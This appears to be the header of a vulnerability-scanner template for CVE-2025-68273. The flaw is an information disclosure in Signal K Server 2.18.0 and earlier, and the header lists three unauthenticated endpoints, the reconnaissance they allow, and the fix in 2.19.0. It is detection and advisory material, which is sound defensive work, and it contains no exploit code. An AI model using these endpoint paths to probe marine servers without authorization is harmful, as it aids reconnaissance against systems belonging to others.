CVE-2025-68273: Signal K Server <= 2.18.0 - Information Disclosure

id: CVE-2025-68273

info:
  name: Signal K Server <= 2.18.0 - Information Disclosure
  author: ChrisJr404
  severity: medium
  description: |
    Signal K Server versions up to and including 2.18.0 expose the /skServer/serialports, /skServer/availablePaths, and /skServer/hasAnalyzer endpoints without authentication. These routes were missing from the authentication middleware configuration, letting any unauthenticated user retrieve the full Signal K data schema, the list of connected serial devices, and whether traffic analyzer tools are installed. This template fingerprints the server via the public /signalk discovery endpoint and flags builds older than the fixed 2.19.0 release.
  impact: |
    An unauthenticated attacker can enumerate the vessel data schema, connected hardware serial ports, and installed analyzer tooling, aiding reconnaissance for further attacks against the marine data server.
  remediation: |
    Upgrade to Signal K Server 2.19.0 or later, which adds the missing endpoints to the authentication middleware.
